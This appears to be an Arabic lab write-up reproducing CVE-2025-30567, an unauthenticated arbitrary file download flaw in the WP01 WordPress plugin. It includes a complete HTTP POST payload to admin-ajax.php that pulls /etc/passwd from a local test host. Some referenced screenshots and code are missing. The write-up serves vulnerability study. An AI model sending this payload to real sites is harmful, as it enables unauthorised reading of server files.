
تحميل ملف عشوائي غير مصرح به في ووردبريس WP01
تنزيل ملف تعسفي غير مصرح به في WordPress WP01!
الخطوة 1: قم بتنزيل المكون الإضافي WP01، ولكن...

هاها، لا تقلق، إليك الكود المصدري للمكون الإضافي.
الخطوة 2: قم بتجميع مجلد wp01 المقدم ورفعه إلى قسم المكونات الإضافية في WordPress. مثل هذا-->

الأمر بسيط—يتم تشغيل الثغرة الأمنية عند النقطة التالية:

بعد ذلك، تحقق من مكان استدعاء طريقة make_archive.

يوجد خطافان (hook) لإجراءات AJAX—واحد للمستخدمين المسجلين وآخر للمستخدمين غير المسجلين. هذا هو سبب ثغرة الوصول غير المصرح به.
حسنًا، لنقم الآن بتشكيل الحمولة (payload) لقراءة محتويات /etc/passwd على الجهاز المحلي.
POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
Host: 192.168.43.133
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=8b29e9ec5200189ba7e72e98d4c6d017; WS_ADMIN_URL=ws://192.168.43.133/notice; WS_CHAT_URL=ws://192.168.43.133/msg; wordpress_test_cookie=WP%20Cookie%20check; XDEBUG_SESSION=PHPSTORM; wp01-lang=en; wp_lang=en_US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
target=passwd&path=/etc/
النتائج:


حسنًا، بعد ذلك، قم بتنزيل ملف wp-01-passwd.zip هذا.

مكتوب بناءً على Pocsuite3، راجع Poc_CVE-2025-30567.py للتفاصيل.
